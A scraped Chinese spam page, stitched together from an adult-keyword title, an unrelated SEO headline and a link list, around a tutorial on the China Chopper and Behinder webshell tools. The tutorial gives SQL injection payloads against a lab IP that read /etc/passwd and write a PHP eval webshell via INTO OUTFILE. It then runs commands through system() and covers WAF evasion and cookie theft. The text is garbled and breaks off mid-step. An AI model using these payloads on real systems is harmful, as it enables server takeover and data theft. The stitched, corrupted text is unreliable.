中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當(dāng)前位置: 首頁 > news >正文

想把自己做的網(wǎng)站放到網(wǎng)上軟件推廣方案經(jīng)典范文

想把自己做的網(wǎng)站放到網(wǎng)上,軟件推廣方案經(jīng)典范文,wordpress支付查看插件,ai繪畫軟件免費找到了漏洞后,并且上傳了木馬之后才能使用的兩款工具 中國菜刀和冰蝎 想辦法獲取別人的cookie,cookie中有session-id 一、中國菜刀 1、必須提前已經(jīng)完成木馬植入然后才能使用 2、木馬必須是POST請求,參數(shù)自定義,在菜刀里給出…

找到了漏洞后,并且上傳了木馬之后才能使用的兩款工具

中國菜刀和冰蝎

想辦法獲取別人的cookie,cookie中有session-id

一、中國菜刀

1、必須提前已經(jīng)完成木馬植入然后才能使用

2、木馬必須是POST請求,參數(shù)自定義,在菜刀里給出正確的參數(shù)名。

是屬于輔助工具,并且菜刀的傳輸過程是明文傳輸?shù)?#xff0c;目前已經(jīng)被WAF進行防護了。

先看是否存在注入點,有下圖所示則表示存在注入點==》可以進行接下來的操作

http://192.168.74.133/security/read.php?id=1 and 1=2 union select 1,2,3,4,5,6

有文件,則說明可以讀任意路徑的文件

http://192.168.74.133/security/read.php?id=1 and 1=2 union select 1,2,3,(select load_file("/etc/passwd")),5,6

寫入一句話的木馬進行探測,如果嗅探成功后在進行大馬的上傳

http://192.168.74.133/security/read.php?id=1 and 1=2 union select 1,2,3,"<?php @eval($_POST[a]) ; ?>",5,6 into outfile "/opt/lampp/htdocs/security/temp/mm.php"

在post中寫入PHP的代碼,a=phpinfo();可以獲取你想要的配置信息,也可以用system函數(shù)來輸入命令

接下來就可以連接菜刀,使用菜刀來連接木馬然后就可以查看到服務(wù)器里面的東西了

使用wireshark進行抓包用來分析流量

假設(shè)菜刀被WAF擋了

二、Behinder冰蝎

冰蝎是加密傳輸,防火墻很難分析出流量特征,比較容易繞開防火墻。

所以需要先上傳一個冰蝎自己的帶加密功能的shell腳本,這個上傳shell的過程通常有以下幾種方式:

1)直接在命令行運行命令,按行用echo 寫入

a=system('echo "$post=file_get_contents("php://input");">> /opt/lampp/htdocs/security/temp/muma.php');

http://www.risenshineclean.com/news/8147.html

相關(guān)文章:

  • 哪里有做企業(yè)網(wǎng)站的石家莊seo網(wǎng)站排名
  • 在百度怎么建立自己的網(wǎng)站嗎網(wǎng)站快速排名服務(wù)商
  • b2b網(wǎng)站平臺大全微信指數(shù)查詢
  • 如何查詢網(wǎng)站服務(wù)器地址慈溪seo
  • 安陽做網(wǎng)站推廣最好的公司文案代寫收費標(biāo)準(zhǔn)
  • 如何把自己做的網(wǎng)站 放在網(wǎng)上seo顧問阿亮
  • 自己做淘寶客網(wǎng)站嗎2023b站免費推廣入口游戲
  • 品牌網(wǎng)站怎么做鄭州建網(wǎng)站的公司
  • 如今做哪些網(wǎng)站致富百度關(guān)鍵詞價格怎么查詢
  • 做移動網(wǎng)站快速排名軟件seo變現(xiàn)培訓(xùn)
  • 沙河口網(wǎng)站建設(shè)競價排名什么意思
  • 網(wǎng)站怎么做動態(tài)切圖hs網(wǎng)站推廣
  • 鞍山云網(wǎng)站河南今日頭條新聞最新
  • 怎么把自己做的網(wǎng)站發(fā)布百度關(guān)鍵詞相關(guān)性優(yōu)化軟件
  • 如何利用谷歌云做自己的網(wǎng)站seo引擎優(yōu)化外包公司
  • 網(wǎng)站怎么做成app百度軟文
  • 做ps賺錢網(wǎng)站郭生b如何優(yōu)化網(wǎng)站
  • 丹江口網(wǎng)站開發(fā)口碑營銷策略
  • 網(wǎng)站建設(shè)要學(xué)會什么軟件網(wǎng)絡(luò)推廣網(wǎng)站的方法
  • 常德本地網(wǎng)絡(luò)論壇南寧seo主管
  • 本地網(wǎng)站建設(shè)荊門網(wǎng)站seo
  • 旅游電子商務(wù)網(wǎng)站排名品牌策劃方案怎么寫
  • 網(wǎng)站打開出現(xiàn)建設(shè)中公關(guān)公司一般收費標(biāo)準(zhǔn)
  • 淄博晨曦網(wǎng)站建設(shè)2023年新聞熱點事件
  • 公司網(wǎng)站開發(fā)費用濟南興田德潤o簡介圖片seo技術(shù)培訓(xùn)東莞
  • 用織夢的網(wǎng)站怎么做推廣廣州最新疫情最新消息
  • 網(wǎng)頁界面設(shè)計的構(gòu)成要素電商seo是什么意思啊
  • 速拓科技是做網(wǎng)站sem網(wǎng)絡(luò)營銷
  • 本地網(wǎng)站建設(shè)百度的人工客服電話
  • 網(wǎng)站做跳轉(zhuǎn)對排名有影響嗎百度識別圖片找圖